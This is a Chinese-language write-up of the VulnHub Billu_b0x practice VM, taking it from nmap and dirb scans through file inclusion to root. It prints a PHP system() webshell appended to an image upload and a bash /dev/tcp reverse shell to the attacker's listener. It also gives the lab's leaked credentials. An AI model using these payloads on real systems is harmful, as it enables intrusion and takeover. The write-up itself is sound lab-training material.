VulnHub靶机学习——Billu_b0x实战记录

VulnHub是一个面向所有人开放的安全靶场,里面有很多安全环境,只要下载相关镜像,在相关虚拟机上面运行就可以练习相关靶场了。这次安装的还是中等难度的靶机,希望与大家一起学习交流

一,前言

        上次做完中等难度的靶机 ,虽然没能独立完成但是感觉自己学到了很多知识。“雄关漫道真如铁,而今迈步从头越”,这次又找了个同样难度的靶机来做渗透测试,不管怎么说,每次拿下靶机之后心里还是有一些小小的成就感的。

二,靶机说明

         * 靶机难度:中级

         * 目        标:获取root权限

         * 运行环境:攻击机kali linux

                               靶机Billu_b0x 

                               均运行于VMware中

         * 网络设置:均为Nat连接模式

三,渗透实战过程

    1,端口扫描&目录爆破

           在虚拟机中启动kali和Billu_b0x,还是按照老套路在kali命令行里用nmap先找到靶机的IP地址,以便与其建立连接图片1.png

           在这里靶机的IP为192.168.50.144,同时可以看到开启了22和80端口。先访问一波看看

图片2.png           这是一个登录界面,现在我们没有用户名和密码也就无法登陆,而且根据我做的前面几套靶机的经验,在这种环境下暴力破解一般是不可取的。查看一下网页源代码看看有没有用户名和密码隐藏在里面

image.png

          也没有什么收获。接下来爆破web目录看看。先在命令行里爆破目录,再用dirbuster换别的字典爆破,这样可以得出更多的扫描结果

          输入命令  dirb “http://192.168.50.144/” /usr/share/dirb/wordlists/big.txt,在这里我用的是名为big的字典

图片3.png

image.png

    2,利用文件包含漏洞

          看来爆破目录对我们的帮助还是很大的,接下来访问一下这些页面,看看都是有什么内容

image.png          add.php是一个图片上传网页,上传一张图片后打开uploaded_images发现并没有传上去。。换到别的页面看看

          打开test.php,网页提示file参数为空,需要提供file参数

图片4.png

          在地址栏里输入?file=/etc/passwd测试文件包含失败,会跳转到192.168.50.144的页面。

          接下来用burp抓包,将get请求转变为post请求尝试文件包含

图片5.png

         看样子这种方式是成功的,同时发现了一个1000的ID  ica,利用同样的方式查看add.php、in.php、c.php、index.php、show.php、panel.php等文件。

图片6.png

         查看c.php的时候发现了一个用户名及密码,打开刚开始时的首页登陆失败。打开扫描结果中的phpmy链接,登陆成功并再次发现了一个用户名和密码image.png

         phpmyadmin的默认的配置文件是:config.inc.php,现在我们不知道路径,猜测路径在/var/www/phpmy下,

image.png

         看来猜测是对的,同时又发现了一个用户名root和密码roottoor,接下来再去登陆首页试试
         首先用ica_lab的数据库表中得到的用户名biLLu和密码hEx_it,登陆首页

图片7.png

         登陆成功后网页跳转到panel.php,这是一个账号管理页面,可以查看用户账号以及添加账户
图片8.png图片9.png

         看到这里立刻就想到了利用图片上传漏洞,直接将php格式的一句话木马改为png图片格式上传图片10.png

         网页显示上传失败。换一种思路,上传一张正常图片并在burp中抓包,在图片末尾加入<?php system($_GET['cmd']);?>

图片11.png

         接下来还是使用burp,在URL的post请求中加入POST /panel.php?cmd=cat%20/etc/passwd;ls,正文中加入load=/uploaded_images/apple233.png&continue=continue

image.png

         可以看到命令已经成功执行,接下来到了喜闻乐见的反弹shell步骤。

   3,shell反弹,root提权

          kali命令行里输入nc -lvnp 6666开始监听,同时burp的post请求中执行echo “bash -i >& /dev/tcp/192.168.50.140/6666 0>&1″ | bash,注意要将此命令先经过URL编码才能发送

image.png

图片12.png

         shell反弹成功,我们还有个root用户一直没有派上用场,直接su - 

image.png         又是提示需要终端,输入命令 python -c ‘import pty;pty.spawn(“/bin/bash”)’

         再重试一下

image.png

         OK,进入到root目录,成功。


         看了网上的教程,其实不需要像我这样麻烦。因为靶机开启了ssh服务,在获取了root账户及其密码的时候直接用kali的ssh连接靶机就好了

         命令格式: ssh -p22 root@192.168.50.140

图片13.png

四,总结

        虽然都为中等难度,但是总体来说给我的感觉这个靶机相比较来说比上一个简单一些,前期主要是进行目录爆破就可以进行的很顺利。这个靶机的关键点在于利用文件包含进行代码审计,因为有两个关键的用户名和密码是利用这种方式得到的。当然也有踩到的坑,既然一开始已经用nmap发现靶机开启了22端口,在后面的时候就应该想到在攻击机里用ssh连接靶机,还是自己不够细心。

关于我们

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,目前聚集了十多位专业的安全攻防技术研究人员,专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。

想了解更多Tide安全团队,请关注团队官网: http://www.TideSec.net 或关注公众号:


ewm.png

取消
Loading...

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php